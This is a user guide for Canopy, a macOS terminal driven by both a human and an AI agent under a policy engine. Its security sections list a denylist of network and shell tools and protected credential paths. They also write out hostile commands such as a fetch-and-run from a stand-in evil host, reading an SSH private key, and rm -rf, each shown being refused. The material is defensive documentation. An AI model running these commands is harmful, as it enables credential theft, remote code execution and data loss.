Canopy User Guide

Canopy is a macOS terminal that both you and an AI agent can drive — the same session, visible to you, with every agent command logged and policy-checked.

What Canopy Is

Canopy is an SSH/local terminal for macOS with one distinguishing idea: an AI agent (Claude Code, Codex, or any MCP client) can connect to the very terminal you're looking at and type into it — while a policy engine decides what it's allowed to do, and a log records every keystroke it sends.

For you (the operator)

  • A clean tabbed terminal with split panes
  • Saved server profiles (password or SSH key)
  • Side panels: file browser, SFTP compare, live command log, Git
  • Per-server dashboards with live stats

For the agent

  • Three adapters over one capability registry: MCP, CLI, HTTP
  • A loopback-only bridge (port 8421) secured with a bearer token
  • Read-only servers, autonomy levels, a security denylist, and protected paths
  • Every action attributed to actor: agent and logged

Core principle The terminal is shared and visible. Anything the agent does, you can watch happen live and read back in the log. It is not a hidden, sandboxed shell.

Install & First Launch

  1. Open the Canopy DMG and drag Canopy.app onto the Applications folder shortcut.
  2. Launch Canopy from Applications. On first run macOS may warn about an unidentified developer — right-click the app and choose Open to bypass once (notarized builds open normally).
  3. You'll see the Welcome screen with two buttons: Open Local Terminal (a shell on this Mac) and Add Server (a saved SSH profile).

That's it for the human side. To let an agent drive Canopy, see Agent Access (MCP).

The Main Window

The window has three regions: the sidebar (left), the detail area (center — terminal or Git), and optional right panels. A toolbar runs across the top.

Toolbar — left side

ButtonIconWhat it doesShortcut
Sidebar▤ sidebar.leftShow/hide the server & session sidebar⌘0
Dashboard📊 chart.barOpen the live stats dashboard for the current server (or local)
Git⑂ branchSwitch the detail area to the Git view (local context only)⌘⇧G
Files📁 folderToggle the local file browser panel (local context only)⌘⇧F
SFTP Compare⇄ arrowsToggle the local↔remote diff panel (SSH context only)⌘⇧F
Approvals badge⚠️ orangeAppears only when a session is waiting for approval; jumps you to the first one
Log▤ listToggle the live command log panel⌘⇧L

Toolbar — right side

Context-aware toolbar The Git and Files buttons only appear when you're in the local context; SFTP Compare only appears when the active tab is an SSH session. This keeps the toolbar relevant to what you're doing.

Adding a Server

Click Add Server (Welcome screen, or the + in the sidebar's "Servers" header). The New Server sheet has these sections:

Connection

FieldNotes
NameA label for your list, e.g. Production Server.
HostHostname or IP, e.g. 10.118.0.20 or example.com.
UsernameThe remote login user, e.g. icassio or root.
AccessRead/Write or Read-Only. Read-only warns you and blocks write commands for agents on this server. See Security Model.
Additional Allowed Commands (read-only only)Comma-separated commands to also permit for agents on this read-only server, e.g. git fetch, curl, jq. Never bypasses an always-confirm approval.
Record SessionsToggle asciinema .cast recording for this server. See Session Recording. Read-only servers default this on; others default off.

Authentication

Key format matters Canopy's SSH library only reads modern OpenSSH-format private keys. Legacy AWS .pem files and PuTTY .ppk files must be converted first — see SSH Key Formats.

File Sync (Optional)

Sets up the SFTP Compare panel and the agent's sync.* capabilities:

Tags

Comma-separated labels for organizing servers, e.g. production, web, us-east.

Click Test Connection to verify before saving, then Add.

Connecting

SSH Key Formats — the common gotcha

Canopy uses the Citadel SSH library, which parses only OpenSSH-format private keys with modern ciphers (none, aes128-ctr, aes256-ctr). Two older formats fail — and Canopy now detects them and tells you exactly how to fix each:

Your fileWhy it failsFix
Legacy .pem
(begins -----BEGIN RSA PRIVATE KEY----- with Proc-Type/DEK-Info headers)
Encrypted with a legacy OpenSSL cipher (e.g. DES-EDE3-CBC) that Citadel can't decrypt. Common for pre-2019 AWS EC2 keys. Convert in place (keeps your passphrase):
ssh-keygen -p -f /path/to/key.pem
then point Canopy at the same file.
PuTTY .ppk
(begins PuTTY-User-Key-File-2)
PuTTY's proprietary format isn't an OpenSSH key at all. puttygen key.ppk -O private-openssh -o key.openssh
then point Canopy at the .openssh file.

Best practice Convert a copy so your original key stays intact for CLI use:
cp ~/mykey.pem ~/mykey-canopy && chmod 600 ~/mykey-canopy && ssh-keygen -p -f ~/mykey-canopy

"Couldn't load the SSH key" If one server connects with a key but a second identical server fails with this error, the key file is fine (it loaded once) — the passphrase you typed for the second server doesn't match. Key loading is purely local and deterministic: the same file + same passphrase always loads the same way. Re-enter the passphrase carefully (watch for Caps Lock or a trailing space). To confirm the passphrase itself is right, run ssh-keygen -y -f ~/mykey-canopy — if it prints a public key, that's the passphrase Canopy needs.

Right-click any server in the sidebar for its context menu:

Menu itemAction
Open ConnectionStart (or focus) an SSH session to this server.
Close ConnectionDisconnect the session.
Edit…Reopen the profile sheet to change any field.
DuplicateClone the profile — handy for a second identical server (copies key path, access mode, etc.; you still enter the passphrase on first connect).
View Command LogOpen this server's full command log.
DeleteRemove the profile.

Terminal & Tabs

The detail area hosts a full xterm-256color terminal. Controls in the tab strip:

Panels

📁 Files (local)

A file browser for the local machine. Toggle with the Files button or ⌘⇧F.

⇄ SFTP Compare (SSH)

Diffs your profile's Local Path against its Remote Path over SFTP, then lets you push or pull selected files. This is the same engine the agent's sync.preview/sync.push/sync.pull use.

▤ Command Log

A live feed of every command run in this server's sessions — yours and the agent's — with the actor and the policy decision. Toggle with ⌘⇧L.

Right-panel layout

Panels open in a resizable split beside the terminal. Closing the last panel auto-restores the terminal to full width.

Git

Press ⌘⇧G or the Git toolbar button (local context) to switch the detail area to the Git view. The sidebar becomes a repo list; the main area shows a commit graph. Repos can be scanned from a root folder (this powers the agent's repos.scan/repos.list/repo.status capabilities). Destructive actions like a hard reset are clearly marked.

Dashboards

The Dashboard toolbar button (📊) opens a live stats view — for a server it shows remote metrics; for local it shows this Mac's CPU/memory. If a server has no open session, selecting it shows its dashboard in the detail area automatically.

Settings Tabs

Open with ⌘, or the ⚙ toolbar button. Five tabs:

About

Version/build info, and Agent Access (MCP) — a Set Up Claude Code Access button that registers Canopy as an MCP server in one click (see below).

Appearance

Light/Dark/System mode, plus optional window wallpaper with adjustable blur.

Toolbar

Toggle which buttons appear in the toolbar (Dashboard, Git, Files, SFTP, Log) — tailor it to what you use.

Policy (the security tab)

The heart of agent governance:

ControlWhat it governs
Autonomy modeManual / Standard / Autonomous — how much the agent can do without asking. See Security Model.
Hold keystrokes while agent activeWhen on, your typing is buffered (not sent) while an agent drives; when off (default), your keystrokes are discarded when you take over — the safer default.
Record Sessions (Local Terminal)Global toggle for recording local sessions. Per-server recording lives on each server's edit sheet.
Read-only allowlistCommands agents may run on read-only servers (one per line).
Read-write blocklistCommands blocked on every server for both you and agents (one per line).
Security denylistCommands blocked for agents only, on read-only servers and always on Local Terminal (one per line).
Protected pathsGlob patterns an agent may never pass as a command argument on a protected server (one per line).
Always-confirm patternsSubstrings that always require explicit approval at every autonomy level — matched against the full command line (one per line).

General

Miscellaneous app preferences.

Agent Access (MCP)

Canopy runs a loopback-only agent bridge (default port 8421), authenticated with a bearer token stored in ~/Library/Application Support/Canopy/agent-bridge.json. An agent reaches it three equivalent ways:

AdapterHow
MCPnode agent/bin/canopy.js mcp (stdio). Registered as canopy in your MCP client config.
CLInode agent/bin/canopy.js <capability> [--flags] [--approve]
HTTPGET /capabilities, POST /invoke with a Bearer token

The fastest setup: Settings → About → Set Up Claude Code Access. This runs the bundled one-shot installer that registers Canopy with Claude Code / Codex on this machine.

Discover, don't hardcode Agents should read the live capability list at runtime — GET /capabilities, the canopy://capabilities MCP resource, or the runtime.capabilities tool — rather than assuming a fixed set.

Capability Reference

Every agent action is a registered capability with a permission tier that drives approval. Tiers: read writeLowRisk writeHighRisk.

CapabilityTierWhat it does
runtime.statusreadReport runtime, bridge & selection state.
runtime.capabilitiesreadList all registered capabilities.
runtime.audit.tailreadRead recent agent audit records (approvals, decisions).
approvals.listreadList sessions currently blocked on an always-confirm approval.
profiles.listreadList configured server profiles (with access mode).
profiles.selectwriteLowRiskSelect a profile by ID.
repos.list / repos.scan / repo.statusreadEnumerate/scan Git repos and read status.
repo.selectwriteLowRiskSelect a repo by path.
terminal.sessions.listreadList local & SSH sessions.
terminal.session.readreadRead a session's scrollback (honors lines).
terminal.session.sendwriteLowRiskRun a command in a live, visible session. Logged as actor: agent.
terminal.session.focuswriteLowRiskFocus a specific session.
terminal.session.open_localwriteLowRiskOpen a local shell (denylist & protected-path checks always apply).
terminal.session.open_sshwriteLowRiskOpen an SSH session. Refused if the profile is read-only.
ui.panel.show / ui.panel.hidewriteLowRiskShow/hide a panel (files, sftp, log, git).
sftp.read_filereadRead one remote file over SFTP (≤1 MiB; base64 if non-UTF-8).
sftp.write_filewriteHighRiskWrite one remote file. Refused on read-only profiles.
sync.previewreadSFTP diff of local vs remote for a profile.
sync.pushwriteHighRiskPush previewed files to remote. Refused on read-only.
sync.pullwriteHighRiskPull previewed files from remote.

Live list as of v1.2.0 — always prefer runtime.capabilities for the current set. High-risk capabilities support dryRun=true to plan without mutating or needing approval.

Security Model

Four independent layers decide whether an agent command runs. They stack — a command must clear all applicable ones.

1. Access mode (per server)

2. Autonomy mode (global)

ModereadwriteLowRiskwriteHighRisk / admin
Manualneeds approvalneeds approvalneeds approval
Standardautoautoneeds approval
Autonomousautoautoneeds approval

High-risk capabilities (sync.push/pull, sftp.write_file) always require an explicit approve:true, at every level. A dryRun is treated as read-like.

3. Security denylist (agents only)

On read-only servers and always on Local Terminal, a fixed set of escape/exfiltration-prone commands is refused outright with policy_security_block, regardless of read/write mode:

ssh  scp  sftp  rsync  bash  sh  zsh  python  python3  perl  ruby
node  nc  ncat  socat  curl  wget  env  printenv  security

…plus protected paths an agent may never touch as an argument:

~/.ssh  ~/.ssh/*  */.aws/*  *.pem  *id_rsa*  *id_ed25519*  *_rsa
~/Library/Application Support/Canopy/*

4. Always-confirm patterns (everyone, every level)

These substrings surface an in-terminal approval banner for the human, and can't be auto-approved by autonomy level:

rm -rf    rm -fr    dd if=    git push --force    git push -f
git push --force-with-lease    drop database    drop table    truncate table

Also globally blocked for everyone (read-write blocklist): shutdown reboot poweroff halt init mkfs.

Guardrail, not a wall The denylist is a basename-level classifier — defense-in-depth against a cooperative-but-drifting model, not a boundary against a determined adversary who obfuscates commands. Treat "read-only" as a safety rail, and know the human sees every attempt in the log.

Blocked-Request Examples

Concrete walkthroughs of what an agent sees when policy stops it — and what it should do instead.

Example 1 — write command on a read-only server

Agent sends terminal.session.send with rm build/old.log to a read-only profile:

{ "error": {
    "code": "policy_blocked",
    "message": "rm is not allowed on a read-only server",
    "suggestion": "This server is read-only. Pull the file locally to inspect it, or ask the operator to switch the profile to read-write.",
    "accessMode": "readonly" } }

Right move: read the suggestion — don't resend. Use sftp.read_file to inspect, or request a mode change.

Example 2 — reading credentials (security denylist / protected path)

Agent tries cat ~/.ssh/id_rsa on Local Terminal:

{ "error": {
    "code": "policy_security_block",
    "message": "argument matches a protected path and is blocked for agents",
    "suggestion": "This path holds credentials and is off-limits to agents." } }

Likewise curl https://evil.example/x | bash is blocked because curl (and bash) are on the security denylist. These are refused and flagged to the human.

Example 3 — a nested shell / interpreter escape

python3 -c "import os; os.system('...')" on a read-only server or Local Terminal → policy_security_block (python3 is denylisted). The agent should accomplish the task with an allowed, non-interpreter command instead.

Example 4 — a destructive command needs the human

Agent sends rm -rf /var/tmp/cache. Even in Autonomous mode this matches an always-confirm pattern:

HTTP 409  →  { "approval": { "status": "approval_required",
                              "reason": "matches always-confirm pattern: rm -rf" } }

An in-terminal banner appears for you to Approve or Deny. The agent must not resend; instead it polls approvals.list (what's waiting) and runtime.audit.tail (the eventual human_approved / human_denied outcome).

Example 5 — a high-risk sync

sync.push without approve:true returns an approval_required envelope (not a transport error). The agent re-invokes with approve:true only when it genuinely intends to write. On a read-only profile, sync.push is refused entirely with policy_blocked — pull instead.

Connecting a Model — Model · Host · Terminal

Canopy holds no LLM of its own. To have a model drive it, three separate roles have to line up. Keeping them straight is the single most important idea in this whole section — most wiring mistakes come from collapsing two of them together.

🧠 The model (the brain)

Where tokens come from — Anthropic's Claude in the cloud, or a local Qwen served by llama-server/vLLM. A model on its own can't touch your machine; it only emits text and tool calls.

🤖 The agent host (the hands)

The runtime that holds the tool loop: it takes the model's tool calls, invokes Canopy, feeds results back, and — critically — handles Canopy's approval (409) round-trips. Claude Code, qwen-agent, and HiveMatrix are agent hosts.

🖥️ Canopy (the equipment)

The shared, visible terminal + its capability registry, reached over MCP/CLI/HTTP. It enforces policy, logs every command as actor: agent, and gates writes. It doesn't care which model is upstream.

🚪 LiteLLM (the front desk — optional)

A model gateway: one OpenAI-compatible endpoint in front of many models (local Qwen, Claude, others) with keys, budgets, RBAC, and audit. It fronts brains, not tools.

The rule that prevents the classic mistake Canopy connects to the agent host directly — it is not proxied by LiteLLM. LiteLLM front-desks the model; the agent host owns Canopy's tools and the approval loop. LiteLLM also has an optional "MCP gateway" mode, but that path is approval-blind: a Canopy 409 → approve looks to it like an opaque failure, so never route Canopy's write capabilities through it. Wire the model through LiteLLM; wire Canopy straight into the host.

MODEL GATEWAY (optional) AGENT HOST TERMINAL Claude (Anthropic cloud) ─┐ Qwen (llama-server/vLLM) ─┼──▶ LiteLLM :4000 ──▶ Claude Code / qwen-agent ──▶ Canopy (MCP, direct) ┘ (keys·budget·audit) HiveMatrix approval · policy · log │ └── the host handles 409→approve, NOT the gateway

The next three sections are the same story with a different brain plugged in: Claude (simplest — a native MCP client), Qwen via LiteLLM (the local path), and HiveMatrix (your own multi-Bee host).

Connecting Claude (Claude Code)

Claude Code is a native MCP client, so this is the shortest path — no gateway required. The model lives in Anthropic's cloud; the agent host is Claude Code itself; Canopy is registered as an MCP server it can call.

One-click (recommended)

  1. Open Settings → About → Set Up Claude Code Access.
  2. Canopy runs the bundled installer, registering node …/agent/bin/canopy.js mcp as the canopy MCP server in ~/.claude.json.
  3. Restart Claude Code. It discovers Canopy's tools live from canopy://capabilities — nothing is hardcoded.

Manual registration

If you'd rather wire it by hand (a DMG install bundles the adapter inside the app):

# DMG install — adapter is inside the app bundle
claude mcp add canopy -- \
  node /Applications/Canopy.app/Contents/Resources/agent/bin/canopy.js mcp

# repo checkout instead
claude mcp add canopy -- \
  node /Users/irvcassio/Canopy/agent/bin/canopy.js mcp

Prereq Canopy must be running — the bridge is embedded in the app, so the MCP adapter has nothing to talk to if Canopy is closed. Only Node.js on PATH is required beyond that (a DMG-only machine needs no repo checkout).

What it looks like in use

You ask Claude Code, in its own window, "check disk usage on prod and clean the old build logs." Claude calls terminal.session.send on your read-only prod profile; the read command runs and streams into the same terminal tab you're watching. The rm comes back policy_blocked with a suggestion; Claude reads it and instead sftp.read_files the log to summarize it — all attributed to actor: agent in the command log.

Optional: route Claude through LiteLLM too If you run the LiteLLM spine (next section), you can add Claude as just another model_name there to get unified keys/budgets/audit across Claude and Qwen. That governs the model spend; it does not change how Canopy is wired — Claude Code still holds the MCP connection and the approval loop directly.

Connecting Qwen via LiteLLM

This is the local-model path: a cheap, private "intern" (Qwen 3.6 35B-A3B) driving real equipment. Four pieces stack up — engine → LiteLLM → agent host → Canopy — and the discipline below is what makes a 3B-active model reliable at tool use.

Step 1 — Serve Qwen (the engine)

Run the weights behind an OpenAI-compatible /v1. Thinking is turned OFF for every tool path (see the two rules below).

# Mac (dev) — llama.cpp, full GPU offload, thinking OFF, tools on
llama-server -hf unsloth/Qwen3.6-35B-A3B-GGUF:Q8_0 --alias qwen3.6-35b-a3b \
  -ngl 99 -fa on --jinja -c 32768 \
  --chat-template-kwargs '{"enable_thinking": false}' --reasoning-format none \
  --host 127.0.0.1 --port 8080

# Blackwell (prod) — vLLM, engine owns parsing, thinking OFF
vllm serve unsloth/Qwen3.6-35B-A3B-NVFP4 --served-model-name qwen3.6-35b-a3b \
  --host 0.0.0.0 --port 8000 --max-model-len 262144 \
  --enable-auto-tool-choice --tool-call-parser qwen3_xml \
  --default-chat-template-kwargs '{"enable_thinking": false}'

Step 2 — Front it with LiteLLM (the gateway)

One endpoint for every brain. Dev→prod becomes a one-line api_base flip (Mac :8080 → Blackwell :8000) if nothing above LiteLLM ever talks to the raw engine.

# config.yaml
model_list:
  - model_name: qwen3.6-35b-a3b               # what callers ask for
    litellm_params:
      model: openai/qwen3.6-35b-a3b
      api_base: http://127.0.0.1:8080/v1       # → Blackwell :8000 in prod
      api_key: none
  - model_name: claude-sonnet                  # same desk can front Claude too
    litellm_params:
      model: anthropic/claude-sonnet-4-5
      api_key: os.environ/ANTHROPIC_API_KEY
litellm --config config.yaml --port 4000       # the one endpoint everything targets

Step 3 — Point an agent host at both (the hands)

qwen-agent is the natural Canopy driver: it's MCP-native, it owns tool-call parsing, and it handles the approval round-trip. Its model calls go to LiteLLM; its tools come from Canopy's MCP server, spawned directly.

from qwen_agent.agents import Assistant

bot = Assistant(
    llm={
        'model': 'qwen3.6-35b-a3b',
        'model_server': 'http://127.0.0.1:4000/v1',   # ← LiteLLM, not the engine
        'api_key': 'sk-litellm-...',
        'generate_cfg': {'enable_thinking': False},     # Rule 2
    },
    function_list=[{
        'mcpServers': {
            'canopy': {                                  # ← Canopy, spawned DIRECT
                'command': 'node',
                'args': ['/Applications/Canopy.app/Contents/Resources/agent/bin/canopy.js', 'mcp'],
            }
        }
    }],
)

The two rules that make it work

Rule 1 — exactly one parsing owner Either the engine parses tool calls (vLLM --tool-call-parser qwen3_xml and a host that trusts structured tool_calls) or qwen-agent self-parses (drop the vLLM parser flags). Enable both and they collide — tool calls silently vanish. This is the classic "qwen-agent suddenly stopped calling tools" bug.

Rule 2 — thinking OFF, and keep Canopy's allowlist to ≲5–8 tools Thinking-on fabricates or drops the tool call in the majority of runs; enable_thinking:false gives clean multi-hour, 30+-call loops. And a 3B-active model gets unreliable past ~5–8 exposed tools — so don't hand it all 23 capabilities. Expose a lean set (e.g. terminal.session.read/send, terminal.sessions.list, sftp.read_file, sync.preview) and add more only when a task needs them.

Humans on the same brain

Point Open WebUI at LiteLLM (:4000) for a human chat surface over the very same Qwen. That path is fine for chat, but remember it's approval-blind — it's not the right way to drive Canopy's write capabilities. For that, use the qwen-agent host above.

Highest-leverage Canopy tweak for Qwen Small-active models lean hard on tool metadata to choose arguments. If you're iterating on Canopy itself, enriching AgentCapability with real per-parameter JSON Schema (today args are loosely typed strings) helps Qwen far more than swapping hosts. Claude tolerates thin schemas; Qwen does not.

Connecting HiveMatrix

HiveMatrix is a full agent host in its own right — a fleet of "Bees" (e.g. Termbee for terminal work, BrowserBee for the web). It plugs into the same two seams as any other host: it registers Canopy as an MCP/HTTP capability, and it points its Bees' model calls at the LiteLLM spine — so the same Qwen and Claude backends serve HiveMatrix, Claude Code, and qwen-agent alike.

HiveMatrix seamWire it toWhy
Model backend (which brain a Bee uses)LiteLLM :4000One place for keys/budgets/audit; switch a Bee between local Qwen and cloud Claude by changing the model name, nothing else.
Terminal surface (a governed, logged shell)Canopy MCP/HTTP, directTermbee gets policy enforcement, read-only servers, the security denylist, and a per-server command log for free — and the approval loop stays with HiveMatrix, where it belongs.

HTTP adapter A host that prefers raw HTTP over stdio MCP can drive Canopy the same way agents are meant to: GET /capabilities to discover tools, then POST /invoke with the bearer token from agent-bridge.json. Every action is still attributed and logged identically.

# Discover Canopy's live capabilities over HTTP (any host, any language)
curl -s -H "Authorization: Bearer $(jq -r .token \
  ~/Library/Application\ Support/Canopy/agent-bridge.json)" \
  http://127.0.0.1:8421/capabilities

Why route HiveMatrix's terminal through Canopy at all? Because it turns "an AI has a shell" into "an AI has a shared, visible, policy-checked, recorded shell." When a Bee triages a production box through a Canopy read-only profile, you get the audit trail and the write-refusals automatically — the same guarantees Claude and Qwen get.

Use Case: The Local Terminal

The Local Terminal is a normal macOS shell on this Mac — but it's also the most tightly policed surface for agents. The security denylist and protected-path checks are always active on Local Terminal, regardless of autonomy mode, because a local shell is the easiest place for a drifting model to do damage or exfiltrate credentials.

You (human) — everyday shell

Open it from the Welcome screen or the sidebar's Local Terminal row. Tabs (⌘T), split panes (⌘D), the Files browser (⌘⇧F) and the Git view (⌘⇧G) are all right there. Nothing you type is filtered — the denylist is agent-only.

An agent — scoped helper

Ask Claude/Qwen to "build the release and show me the test output." It runs swift build / npm test in a visible tab, reads full scrollback back via terminal.session.read, and summarizes — but cat ~/.ssh/id_rsa or curl … | bash is refused with policy_security_block and flagged to you.

Give an agent its own tab If both you and an agent are working locally at once, have the agent open its own session with terminal.session.open_local. The hazard of a shared session is tangled shell state (a half-typed line, a changed working directory), not the connection itself.

Use Cases: Agent vs Human

The whole point of Canopy is that the same surface serves both a person and a model, with the split of labor you choose. A few worked scenarios across every major feature:

Production triage on a read-only server

Deploying a config change (SFTP Compare)

A destructive command that needs a human hand

Git review on the local repo

Auditing what the agent actually did

Local-Qwen intern vs cloud-Claude specialist

Session Recording

When enabled (per-server toggle, or the global Local Terminal toggle in Policy), Canopy writes an asciinema v2 .cast file for the session — a replayable, human-reviewable audit trail of everything shown and typed. A REC badge shows in the tab while recording.

Disk Usage & Retention

Recordings and command logs are pruned automatically, so neither grows without bound.

Automatic 30-day retention On launch, Canopy deletes session recordings (.cast) and per-server command logs (.jsonl) that are more than 30 days old. There's nothing to clean up by hand — old artifacts age out on their own. The agent audit log is bounded separately by size rotation.

What's kept, and how large it gets

Checking current usage (optional)

Retention is automatic, but if you ever want to see what's on disk:

du -sh ~/Library/Application\ Support/Canopy/recordings
du -sh ~/Library/Application\ Support/Canopy/recordings/*   # per server

Practical guidance:

Troubleshooting

SymptomCause & fix
"The operation couldn't be completed" on a .pem keyLegacy-encrypted PEM. Convert: ssh-keygen -p -f key.pem. See SSH Key Formats.
"Unsupported SSH key format" / .ppkPuTTY format. Convert with puttygen … -O private-openssh.
"Couldn't load the SSH key" on a second server that shares a working keyThe passphrase typed for that server is wrong. Key loading is deterministic — same file + same passphrase always works. Re-enter carefully; verify with ssh-keygen -y -f key.
Host key changed / connection refusedTOFU pin mismatch. If legitimate (server rebuilt), Edit… the server → Reset Pinned Key, then reconnect.
Agent commands all return approval_requiredAutonomy is set to Manual, or the command matches an always-confirm pattern. Check Policy settings and approve in the terminal banner.
Agent can't connect at allBridge not listening. Check ~/Library/Application Support/Canopy/agent-bridge.json (isListening should be true) and re-run Settings → About → Set Up Claude Code Access.
Recordings eating diskThey shouldn't — Canopy auto-deletes recordings & command logs older than 30 days on launch. See Disk Usage & Retention.

File Locations

Everything lives under ~/Library/Application Support/Canopy/:

PathContents
profiles.jsonYour saved server profiles (secrets are in the Keychain, not here).
agent-bridge.jsonBridge port, bearer token, isListening state.
agent-audit.jsonlRolling, size-rotated audit log of agent actions & approvals.
agent-command-log.mdHuman-readable mirror of agent terminal commands.
logs/<profileID>.jsonlPer-server command logs (actor, adapter, policy decision) (auto-pruned after 30 days).
recordings/<profileID>/*.castasciinema session recordings (auto-pruned after 30 days).
known-hosts.jsonPinned SSH host keys (TOFU).
snippets.json, tasks.json, goals.jsonSaved snippets, tasks, and goals.

Canopy v1.3.0 · Guide generated 2026-07-10, model-connection & use-case sections added 2026-08-06 · Secrets are stored in the macOS Keychain; the agent bridge is loopback-only and token-authenticated. The security denylist is a cooperative guardrail, not a hard security boundary — review the command log.